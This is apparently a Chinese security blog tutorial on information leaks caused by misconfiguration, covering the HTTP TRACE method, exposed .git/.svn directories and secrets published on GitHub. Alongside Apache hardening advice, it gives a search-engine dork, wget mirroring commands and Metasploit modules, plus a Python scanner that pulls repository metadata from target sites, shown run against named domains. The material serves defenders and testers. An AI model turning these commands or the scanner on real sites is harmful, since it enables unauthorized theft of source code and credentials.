注意:本文分享给安全从业人员,网站开发人员和运维人员在日常工作中使用和防范恶意攻击,请勿恶意使用下面描述技术进行非法操作。

[TOC]

0x00 前言

信息泄露涉及范围广泛,破坏之大,给业内各企业带来不少担忧与苦恼。

配置不当的分类:

  • (1)WEBserver本身:之前发生的nginx等解析漏洞webserver的目录遍历等。
  • (2)网络协议相关:snmp弱community、dns域传送、ssh等。
  • (3)应用服务相关:压缩文件,备份文件,其他如日志history、phpinfo等,zabbix,jenkins、phpmyadmin、hadoop等。
  • (4)系统服务相关:之前暴露的openssl心脏滴血,破壳等。
  • (5)人员安全意识:在部署项目的时候 svn,git 信息泄露可导致代码泄露。

0x01 配置不当的防范

(1)业务上线前进行安全基线检查 (统一安全配置基线,即最低安全红线,根据安全配置基线产生公司默认配置模板,所有预上线阶段全部默认使用配置模板,当模板满足不了需求时,可以根据配置模板进行相应更改,但是上线之前需要通过安全基线工具)。
(2)对线上业务进行定时检查(培训+监控,辅助扫描)。
(3)对攻击行为进行监控,一般这样做之后会杜绝大部分的配置不当问题, 其他信息泄露问题主要是采用自检或者src白帽子提交的漏洞来发现,发现之后走修复流程不会分层做。

补充Tips:主机Agent在被监控应用所在的主机上面,安装小的Agent软件即代理软件,通过它实现对数据的采集和管理


0x03 实用案例

TRACE方法信息泄露
漏洞名称:检测到目标服务器启用了TRACE方法
详细描述 :TRACE方法是HTTP(超文本传输)协议定义的一种协议调试方法,该方法使得服务器原样返回任何客户端请求的内容。

启用TRACE方法存在如下风险:

  • 1、恶意攻击者可以通过TRACE方法返回的信息了解到网站前端的某些信息,如缓存服务器等,从而为进一步的攻击提供便利。
  • 2、恶意攻击者可以通过TRACE方法进行XSS攻击。
  • 3、即使网站对关键页面启用了HttpOnly头标记和禁止脚本读取cookie信息,但是通过TRACE 方法恶意攻击者还是可以绕过这个限制读取到cookie信息。

解决办法:
1、2.0.55以上的Apache服务器,在httpd.conf的尾部添加:TraceEnable off。
2、如果使用的是Apache: - 确认rewrite模块激活(httpd.conf,下面一行前面没有#): LoadModule rewrite_module modules/mod_rewrite.so - 在各虚拟主机的配置 文件里添加如下语句:

1
2
3
RewriteEngine On 
RewriteCond %{REQUEST_METHOD} ^TRACE
RewriteRule .* - [F]


.git /.svn 泄露源代码信息
漏洞名称:.git / .svn 配置不当导致源代码泄露
如果.git文件夹暴露在外网服务器上,攻击者可以通过.git下载所有的代码,当前前提是目录可被遍历,如果能遍历可以简单的获取到源代码。
Google语法查找:

1
".git" intitle:"Index of"

Wget命令下载镜像查看
1
2
3
wget --mirror --include-directories=/.git http://10.10.17.222/test/.git/
wget --no-check-certificate --mirror --include-directories=/.git https://wvvdey-8080-ooqzry.dev.ide.live/.git
#[email protected]:~/10.10.17.222/test/.git$ index.html #克隆镜像到本地

WeiyiGeek.下载get的config

WeiyiGeek.下载get的config

在svn1.6之前的版本,通过访问.svn/.entries,可以下载到svn里的代码,在svn1.7之后的版本通过访问.svn/wc.db ,存在一个SQLite数据库文件里面

1
2
3
4
5
6
7
8
9
wget --mirror --include-directories=/.svn http://xxx.com/.svn
auxiliary/scanner/http/svn_scanner #<1.6
auxiliary/scanner/http/svn_wcdb_scanner #>1.7

#如果采用sqlite3查看数据库 sqlite3.exe .svn/wc.db "select * from work _queue"
python gitsvnScan.py http://ricewater.cn/
python gitsvnScan.py http://ftp.yx56.cn/codebase/imgs
[!] .svn/entries写入成功
[!] .svn/wc.db 写入成功

利用代码下载:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @File : gitsvnScan.py
# @CreateTime : 2019/7/17 9:40
# @Author : WeiyiGeek
# @Function : git与svn信息泄露扫描
# @Software: PyCharm
import sys
import requests

def git(url):
try:
g = requests.get(url+'config', timeout=5)
except Exception as e:
print("[*] 请求失败"+str(e))
with open('gitconfig.txt','w') as config:
config.writelines(g.text)
print("[!] .git/config写入成功")


def svn(url):
try:
s = requests.get(url+'entries', timeout=5)
except Exception as e:
print("[*] 请求失败"+str(e))

if (s.status_code == 200):
with open('svnentries.txt','w') as config:
config.writelines(s.text)
print("[!] .svn/entries写入成功")

try:
s = requests.get(url + 'wc.db', timeout=5)
except Exception as e:
print("[*] 请求失败" + str(e))

if (s.status_code == 200):
with open('wc.db', 'wb') as config:
config.write(s.content)
print("[!] .svn/wc.db 写入成功")


def main(url):
gitPath = url+'/.git/'
svnPath = url+'/.svn/'
try:
g = requests.get(gitPath, timeout=5)
except Exception as e:
print("[*] 请求失败"+str(e))
if (g.status_code == 200):
git(gitPath)

try:
s = requests.get(svnPath, timeout=5)
except Exception as e:
print("[*] 请求失败" + str(e))
if (s.status_code == 200):
svn(svnPath)
else:
print("URL:", g.url, " status_code:", g.status_code)
print("URL:", s.url, " status_code:", s.status_code)
print("[*] 该站点不存在/.git或者/.svn信息泄露")


if __name__ == '__main__':
if len(sys.argv) <= 1:
print("usage: gitsvnScan.py http://url.com")
sys.exit(1)
main(str(sys.argv[1]))



github 信息泄露
GitHub 的私有仓库是需要花钱才能使用,大部分程序员使用的公共仓库,这就意味着任何人都能查看到你上传的文件,如果文件里包含敏感信息,那么将会造成以下安全隐患:

(1).如果是公司各种应用服务的登陆凭证,黑客可以轻而易举的进入内部人员访问区域,并获取到内部才能获得的信息。
(2).如果是公司的 web 项目代码,黑客可以通过代码审计,更容易的挖掘出漏洞来攻击公司网络。
(3).如果是公司的核心技术代码,可能会被商业竞争对手盗去,对公司造成经济上的损失。
还有就是有些公司直接使用开源项目的代码进行部署,没有对项目代码进行安全审核,如果该开源项目中包含了攻击者的恶意代码,也将会对公司造成安全隐患。

GitHub给开发者来方便的同时存在哪些安全隐患问题:

  • ①账号密码泄露(公司邮箱、联系人通讯录、办公vpn等)
  • ②核心算法泄露(系统、软件被破解)
  • ③API_KEY泄露(利用接口进行攻击等)
  • ④服务器key、配置泄露(危害服务器安全)
  • ⑤源码泄露(代码被审计,可能被人搞0day)